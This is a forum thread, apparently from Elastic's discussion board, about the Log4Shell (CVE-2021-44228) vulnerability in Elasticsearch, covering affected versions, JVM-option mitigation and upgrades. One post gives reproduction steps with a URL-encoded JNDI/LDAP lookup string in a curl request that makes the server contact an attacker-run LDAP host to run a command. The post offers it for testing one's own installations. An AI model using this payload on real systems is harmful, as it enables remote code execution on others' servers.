Zero-day-exploit in log4j2 which is part of elasticsearch

I had a new question.

It doesn't say that 7.7 is affected, just that it's not a supported version (i.e. it's past EOL ) so it's out of scope.

However, in the announcement:

Most other versions (5.6.11+, 6.4.0+ and 7.0.0+) can be protected via a simple JVM property change.

Does that mean 7.0.0+ can only be protected if I do that?
Or are these protected by JDK9+?

Our advice is exactly as stated in the security announcement:

The simplest remediation is to set the JVM option -Dlog4j2.formatMsgNoLookups=true and restart each node of the cluster.
For Elasticsearch 5.6.11+, 6.4+, and 7.0+, this provides full protection against the RCE and information leak attacks.

1 Like

Thank you, Mr. TimV.
I had understood the announcement.

Supported versions of Elasticsearch (6.8.9+, 7.8+) used with recent versions of the JDK (JDK9+) are not susceptible to either remote code execution or information leakage. This is due to Elasticsearch’s usage of the Java Security Manager. Most other versions (5.6.11+, 6.4.0+ and 7.0.0+) can be protected via a simple JVM property change.

On the other hand, the announcement also says:

Elasticsearch 6 and 7 are not susceptible to remote code execution with this vulnerability due to our use of the Java Security Manager.

In addition, Mr. DavidTurner said:

It doesn't say that 7.7 is affected, just that it's not a supported version (i.e. it's past EOL ) so it's out of scope.

I don't understand why only unsupported versions need to be addressed for vulnerabilities.
What I would like to know is why there is a difference in the way v7.8 and v7.7 address this vulnerability.
Are there any technical differences between these versions for vulnerabilities?


How we will use this command for windows.After running this command on linux I am getting below response for the files.

[*] Found CVE-2021-44228 vulnerability in /usr/share/logstash/logstash-core/lib/jars/log4j-core-2.13.3.jar, log4j 2.13.3 (mitigated)


It sounds like you are interpreting the announcement in ways that are not intended.

The announcement contains (at least) 2 separate things:

  1. details about the extent to which different versions of Elasticsearch may be affected by different parts of the log4j vulnerability
  2. recommended steps to take (which vary by version).

You can use part 1 to assess your risk and determine the urgency with which you need to follow the recommendations in part 2.

That is, you should follow the remediation recommendation, and either:

  1. Upgrade to the recently released 7.16.1 or 6.8.21 versions
  2. If upgrading is not possible for you, follow the other remediation steps we have outlined.

How urgently you need to do that will depend on the version you are running and how concerned you are about the risks associated with that version.

1 Like


Is there any way to validate before and after scenarios of setting JVM option?


1 Like


about Elasticsearch 2 you wrote :
Elasticsearch 2 and earlier used a Log4j version that is not vulnerable to the newly discovered flaw. Please note that Elasticsearch 2 is not a supported version, and we always recommend updating to the latest release.

But at Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub
we can read that Log4j 1.x may be impacted if their configuration uses JNDI. However, the risk is much lower.

Can you confirm that Elasticsearch 2 is not impacted ?

Thank you.
I recognized that all versions should consider addressing with one of these, although the risks are small and large.

With 7.14.1 and log4j2 2.16.0 jars in place, one option that I tried today is remove x-pack-deprecation and try to see if we ES is able to startup or not.
Found that it does work but not sure whether that is a possible solution to use. @sandeepkanabar any comments on it?
I completely understand from your earlier reply that there might be a good reason for keeping the jar, but this is something we tried out.

As per Log4j – Apache Log4j Security Vulnerabilities , setting jvm property is not enough to mitigate the risk.

Would you please share your thoughts on that?

1 Like

@sandeepk-veritas - never a good idea to mix 3rd party applications (ES here) with the latest log4j jar instead of the one they ship with. Let's say I'm using your product but I don't use what you recommend and instead add some other jar to it. You never know what it might break in prod. This is very risky to do in PROD unless you've tested all the scenarios.

Btw, there's an excellent blog on this by @xeraa.


Will there happen to be a version of this page for Windows Server versions?

1 Like

Hey @orangejulius, I was able to get ES 5.3.0 to hit a local server emulating LDAP, though haven't gotten to a stage yet where any data is leaked. Nonetheless, it shows that a call to an external server is very possible, at least with the param's I'm using locally (see steps below). It's easy enough to re-create on other version of ES, so hope this is useful for others to test their installations.


  • Build and run the LDAP server from this repo
  • Install Elasticsearch 5.3.0 (I'm using the official image via docker pull elasticsearch:5.3.0)
  • Modify the to catch more messages (e.g. rootLogger.level = debug)
  • Hit some endpoint that triggers the logger. In my case, a simple invalid URL with a URL-encoded exploit string was sufficient (note the private-ip field that must be filled with whatever IP the LDAP server is running on) - curl localhost:9200/%24%7Bjndi%3Aldap%3A%2F%2Fprivate-ip-here%3A1389%2FBasic%2FCommand%dG91Y2ggL3RtcC9wd25lZAo%3D%7D

Result: You'll see the LDAP server confirm that it received a network request (Received request from <IP of the ES node>). There are likely other interesting results, I'll update this post if I find any.

Interesting questions/next steps:

  • In which other versions does this happen?
  • Is there an API call that gets logged (and thus exploitable) at the default log level of info?
1 Like

Thanks a lot. I appreciate the link to the blog, it clarifies a lot of doubts.

1 Like

I wanted this information.
Thank you, Announcement.

Elasticsearch mitigation summary matrix

Hi Sandeep,

You can upgrade your ES to 7.16.2 which has latest log4j 2.17.0 :slight_smile:

Check the updated advisory.

1 Like

To all those worrying about log4j jars in vendor directory in Logstash et al, elastic has come out with a removal tool and an excellent article on Logstash - Logstash 5.0.0-6.8.20 and 7.0.0-7.16.0: Log4j CVE-2021-44228, CVE-2021-45046 remediation

Any update on this?

All updates are posted here: Apache Log4j2 Remote Code Execution (RCE) Vulnerability - CVE-2021-44228 - ESA-2021-31 - Security Announcements - Discuss the Elastic Stack

We do not recommend, nor support, directly modifying libraries within the Elasticsearch package. If you want to understand how to protect yourself from this issue, then please read and follow the official advisory.

This topic was automatically closed 28 days after the last reply. New replies are no longer allowed.